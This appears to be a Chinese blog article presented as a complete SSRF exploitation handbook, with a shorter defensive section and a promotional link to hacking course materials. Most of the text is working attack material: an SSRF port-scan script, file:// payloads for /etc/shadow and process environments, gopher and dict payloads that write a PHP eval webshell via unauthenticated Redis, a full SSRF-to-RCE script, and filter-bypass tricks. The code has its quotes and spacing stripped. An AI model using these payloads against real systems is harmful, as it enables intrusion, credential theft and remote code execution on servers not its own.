SSRF服务端请求伪造完全指南:从原理到实战的漏洞利用手册
发布时间:2026/9/30 4:21:45来源:尧图网络
“SSRF是什么”“SSRF能做什么”“怎么绕过SSRF限制”SSRFServer-Side Request Forgery是Web安全中最危险的漏洞之一。它允许攻击者让服务器代替自己去发起请求从而访问内网资源、读取文件、甚至攻击内部服务。SSRF之所以危险是因为它打破了外网不能访问内网的安全边界。Web服务器通常在内网中它能访问的内网资源是攻击者从外部无法直接访问的。通过SSRF攻击者借了服务器的身份实现了对内网的探测和攻击。我第一次挖到SSRF是在一个图片代理功能中urlhttp://127.0.0.1:6379直接访问了内网Redis然后利用Redis未授权写了个Webshell。整个攻击链从SSRF到Getshell不到10分钟。今天我把SSRF的完整知识整理出来漏洞原理、利用场景、绕过技巧、防御方案。看完这篇你对SSRF会有一个系统化认知。⚠️ 注意本文仅用于授权的安全测试和教育目的严禁用于非法用途。一、SSRF基础什么是SSRF SSRFServer-Side Request Forgery是指Web应用提供了从其他服务器获取数据的功能攻击者利用该功能让服务器发起攻击者指定的请求从而访问内网资源、读取文件或攻击内部服务。SSRF原理// 漏洞代码示例$url$_GET[url];// 服务端直接请求用户传入的URL$contentfile_get_contents($url);echo$content;正常使用?urlhttp://api.weather.com/data服务器请求天气API。SSRF利用?urlhttp://127.0.0.1:6379服务器请求内网Redis。SSRF危害危害说明示例内网探测扫描内网端口和服务端口扫描读取文件读取服务器本地文件file:///etc/passwd攻击内网服务利用内网服务漏洞Redis未授权命令执行通过协议触发命令gopher://数据泄露获取内网敏感数据访问内部API权限提升从SSRF到RCERedis写Webshell二、SSRF常见利用场景1. 内网端口扫描# 通过SSRF扫描内网端口 ?urlhttp://127.0.0.1:22 → 开放则返回SSH Banner ?urlhttp://127.0.0.1:80 → 开放则返回Web页面 ?urlhttp://127.0.0.1:3306 → 开放则返回MySQL信息 ?urlhttp://127.0.0.1:6379 → 开放则返回Redis信息 ?urlhttp://127.0.0.1:27017 → 开放则返回MongoDB信息通过响应差异判断端口开放状态响应特征端口状态返回正常内容开放连接超时关闭/被过滤连接拒绝关闭返回错误但非超时开放协议不匹配端口扫描脚本importrequestsdefssrf_port_scan(base_url,target_ip,ports):通过SSRF扫描内网端口results[]forportinports:payloadfhttp://{target_ip}:{port}urlf{base_url}?url{payload}try:resprequests.get(url,timeout5)# 判断端口状态ifresp.status_code200andlen(resp.text)0:print(f[]{target_ip}:{port}OPEN)results.append((port,OPEN,len(resp.text)))elifConnection refusedinresp.text:print(f[-]{target_ip}:{port}CLOSED)results.append((port,CLOSED,0))else:print(f[?]{target_ip}:{port}UNKNOWN)results.append((port,UNKNOWN,len(resp.text)))exceptrequests.Timeout:print(f[!]{target_ip}:{port}TIMEOUT/FILTERED)results.append((port,FILTERED,0))returnresults# 使用basehttp://target.com/fetchscanssrf_port_scan(base,127.0.0.1,[22,80,443,3306,6379,8080])2. 读取本地文件# 利用file://协议读取文件 ?urlfile:///etc/passwd ?urlfile:///etc/shadow ?urlfile:///proc/self/environ ?urlfile:///var/www/html/config.php ?urlfile:///C:/Windows/win.ini # Windows3. 攻击内网Redis# Redis未授权 → 写Webshell ?urlhttp://127.0.0.1:6379/ # 但HTTP协议无法直接发送Redis命令 # 需要使用gopher协议Gopher协议攻击Redisimporturllib.parsedefgenerate_redis_payload():生成Redis写Webshell的Gopher payload# Redis命令cmd[FLUSHALL,SET webshell ?php eval($_POST[cmd]);?,CONFIG SET dir /var/www/html,CONFIG SET dbfilename shell.php,SAVE,QUIT]# 构造Redis RESP协议payloadforcincmd:payloadf*1\r\n${len(c)}\r\n{c}\r\n# URL编码encodedurllib.parse.quote(payload)# 构造gopher URLgopher_urlfgopher://127.0.0.1:6379/_{encoded}returngopher_url# 生成payloadurlgenerate_redis_payload()print(fSSRF URL:{url})# 使用?url{url}4. 攻击内网MySQLimporturllib.parsedefgenerate_mysql_payload():生成MySQL查询的Gopher payload# MySQL协议需要特定的握手和认证# 如果MySQL允许无密码连接部分旧版querySELECT ?php eval($_POST[cmd]); ? INTO OUTFILE /var/www/html/shell.php# 简化的payload构造# 实际利用需要完整的MySQL协议握手# 使用gopherus工具# python2 gopherus.py --exploit mysqlpass# 推荐使用gopherus工具# git clone https://github.com/tarwich/gopherus.git5. 攻击内网FastCGI# 使用gopherus生成FastCGI payloadpython2 gopherus.py--exploitfastcgi# 输入Web根目录和命令# 生成gopher URL6. 利用dict协议# dict协议探测端口 ?urldict://127.0.0.1:6379/info ?urldict://127.0.0.1:6379/config:get:dir # dict协议执行Redis命令 ?urldict://127.0.0.1:6379/set:x:?php phpinfo();? ?urldict://127.0.0.1:6379/config:set:dir:/var/www/html ?urldict://127.0.0.1:6379/config:set:dbfilename:shell.php ?urldict://127.0.0.1:6379/save三、SSRF可利用协议协议说明利用场景http://HTTP请求内网Web/端口扫描https://HTTPS请求内网Webfile://读取文件读取本地文件dict://字典协议端口探测/Redis命令gopher://万能协议攻击Redis/MySQL/FTPftp://FTP协议内网FTP/被动模式攻击ldap://LDAP协议内网LDAPtftp://TFTP协议简单文件传输四、SSRF绕过技巧1. IP地址绕过当服务端过滤了127.0.0.1和localhost# 十进制IP ?urlhttp://2130706433/ # 127.0.0.1的十进制 # 八进制 ?urlhttp://0177.0.0.1/ # 127.0.0.1的八进制 # 十六进制 ?urlhttp://0x7f000001/ # 127.0.0.1的十六进制 # 混合编码 ?urlhttp://0177.0.0.1/ ?urlhttp://0x7f.0.0.1/ # IPv6 ?urlhttp://[::1]/ ?urlhttp://[::ffff:127.0.0.1]/ # 短链接 ?urlhttp://t.cn/xxxx # 短链接指向127.0.0.1 # 域名解析 # 注册一个域名解析到127.0.0.1 ?urlhttp://evil.com/ # evil.com A记录 → 127.0.0.12. URL绕过# 利用符号 ?urlhttp://evil.com127.0.0.1/ # 实际访问127.0.0.1 # 利用#号 ?urlhttp://127.0.0.1#evil.com/ # 利用反斜杠 ?urlhttp://127.0.0.1\evil.com/ # 封闭字母数字 ?urlhttp://①②⑦.⓪.⓪.①/ # CRLF注入 ?urlhttp://127.0.0.1%0d%0aHost:evil.com3. DNS Rebinding# DNS Rebinding原理# 1. 攻击者注册域名 rebinding.evil.com# 2. DNS第一次解析返回外网IP通过检查# 3. DNS第二次解析返回127.0.0.1实际请求内网# 工具rbndr.us# 配置两个IPDNS交替返回# http://1.2.3.4.127.0.0.1.rbndr.us/# 第一次解析1.2.3.4外网通过验证# 第二次解析127.0.0.1内网实际请求4. 302跳转绕过# 如果服务端只检查URL但跟随跳转# 在自己的服务器上设置302跳转# redirect.php?php header(Location: http://127.0.0.1:6379/);?# 利用?urlhttp://evil.com/redirect.php# 服务端检查evil.com → 通过# 跟随302 → 访问127.0.0.1:6379绕过技巧总结绕过方式说明示例IP编码十进制/八进制/十六进制2130706433IPv6使用IPv6地址[::1]符号URL的 userinfoevil127.0.0.1短链接短链接服务t.cn/xxxDNS RebindingDNS重新绑定rbndr.us302跳转重定向到内网Location头域名解析自定义域名A记录evil.com→127.0.0.1CRLF利用换行注入%0d%0a五、SSRF实战案例案例1图片代理SSRF# 漏洞URL GET /imageProxy?urlhttp://example.com/image.jpg # 利用 GET /imageProxy?urlhttp://127.0.0.1:6379/ GET /imageProxy?urlfile:///etc/passwd GET /imageProxy?urlhttp://192.168.1.0/24案例2Webhook SSRF# 漏洞URL POST /api/webhook {url: http://127.0.0.1:8080/internal-api} # 利用 {url: http://127.0.0.1:6379/} {url: gopher://127.0.0.1:6379/_...}案例3PDF导出SSRF# 漏洞URL POST /api/export-pdf {html: iframe srchttp://127.0.0.1:6379//iframe} # 利用 {html: img srchttp://127.0.0.1//}案例4从SSRF到Redis RCE# 完整攻击链# 1. 发现SSRF# 2. 探测内网Redis# 3. 生成Gopher payload# 4. 写入Webshell# 5. 连接Webshellimportrequestsimporturllib.parsedefssrf_redis_rce(ssrf_url,web_root):SSRF利用Redis写Webshell# Redis命令redis_cmdf FLUSHALL CONFIG SET dir{web_root}CONFIG SET dbfilename shell.php SET x ?php eval($_POST[cmd]);? SAVE # 构造gopher payloadpayloadforlineinredis_cmd.strip().split(\n):lineline.strip()payloadf*1\r\n${len(line)}\r\n{line}\r\nencodedurllib.parse.quote(payload)gopher_urlfgopher://127.0.0.1:6379/_{encoded}# 通过SSRF发送resprequests.get(ssrf_url,params{url:gopher_url})# 检查Webshell是否写入成功shell_urlfhttp://target.com/shell.phpcheckrequests.get(shell_url)ifcheck.status_code200:print([] Webshell写入成功!)print(f{shell_url})else:print([-] 写入失败)# 使用# ssrf_redis_rce(http://target.com/fetch, /var/www/html)六、SSRF防御方案1. 输入验证importipaddressimportredefvalidate_ssrf_url(url):验证URL防止SSRF# 1. 解析URLparsedurllib.parse.urlparse(url)# 2. 只允许HTTP/HTTPS协议ifparsed.schemenotin[http,https]:returnFalse,只允许HTTP/HTTPS协议# 3. 解析域名hostnameparsed.hostnameifnothostname:returnFalse,无效的域名# 4. 禁止内网IPtry:ipipaddress.ip_address(hostname)ifip.is_privateorip.is_loopbackorip.is_link_local:returnFalse,禁止访问内网地址except:pass# 域名而非IP# 5. 禁止特殊域名blocked_domains[localhost,0.0.0.0,metadata.google.internal]ifhostnameinblocked_domains:returnFalse,禁止的域名# 6. 检查端口portparsed.portifportandportnotin[80,443,8080,8443]:returnFalse,禁止的端口returnTrue,URL安全2. DNS解析后验证importsocketdefsafe_request(url):DNS解析后再次验证IPparsedurllib.parse.urlparse(url)hostnameparsed.hostname# DNS解析try:ipsocket.gethostbyname(hostname)except:returnNone,DNS解析失败# 验证解析后的IPip_objipaddress.ip_address(ip)ifip_obj.is_privateorip_obj.is_loopback:returnNone,fDNS解析到内网IP:{ip}# 使用解析后的IP发起请求防止DNS Rebinding# 设置Host头headers{Host:hostname}responserequests.get(fhttp://{ip}{parsed.path},headersheaders)returnresponse,请求成功3. 防御Checklist防御措施说明白名单协议只允许http/https禁止内网IP过滤私有/环回地址DNS解析后验证防止DNS Rebinding禁止非常用端口只允许80/443禁止重定向或每次重定向重新验证错误信息处理不返回内部网络信息请求超时设置防止长时间扫描独立网络出口使用代理隔离4. 云元数据防护# AWS元数据http://169.254.169.254/latest/meta-data/# 阿里云元数据http://100.100.100.200/latest/meta-data/# 腾讯云元数据http://169.254.169.254/latest/meta-data/# 防护在SSRF过滤器中禁止169.254.0.0/16和100.100.100.0/24七、SSRF工具工具功能SSRFmapSSRF自动化利用GopherusGopher payload生成SSRF-TestingSSRF测试辅助server-side-request-pollution服务端请求污染interactshOOB带外检测SSRFmap使用# 安装gitclone https://github.com/swisskyrepo/SSRFmap.gitcdSSRFmap pip3install-rrequirements.txt# 使用python3 ssrfmap.py-rrequest.txt-purl-mportscan python3 ssrfmap.py-rrequest.txt-purl-mredis python3 ssrfmap.py-rrequest.txt-purl-mreadfiles学习资源SSRF是Web安全中最容易被低估的漏洞之一。很多开发者认为只是一个URL请求但实际上SSRF可以从一个简单的URL参数一步步升级到内网渗透、文件读取、甚至RCE。掌握SSRF需要理解HTTP协议、URL格式、各种网络协议gopher/dict/file以及内网服务的工作原理。从基础检测到高级绕过每一个环节都需要大量练习。如果你对网络安全和Web渗透感兴趣想系统学习更多知识——包括SSRF实战、OWASP Top 10漏洞、渗透测试全流程、CTF实战等——可以参考下面整理的完整学习资料包。内容涵盖SSRF漏洞从原理到实战OWASP Top 10漏洞详解Web渗透测试全流程内网渗透技术指南红蓝对抗与护网资料CTF之Web实战讲解Python安全编程实战渗透测试案例分享从零基础到实战进阶200节视频课程配套工具和靶场环境涵盖攻防对抗全生命周期。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源总结维度要点原理服务端代替用户发起请求利用内网扫描/文件读取/攻击内部服务协议http/file/dict/gopher/ftp绕过IP编码/符号/DNS Rebinding/302跳转防御白名单IP验证DNS后验证禁重定向 SSRF的本质是借刀杀人——让服务器代替攻击者访问内网资源。防御的核心是不要信任用户提供的任何URL。————————————————
网站建设高端定制企业官网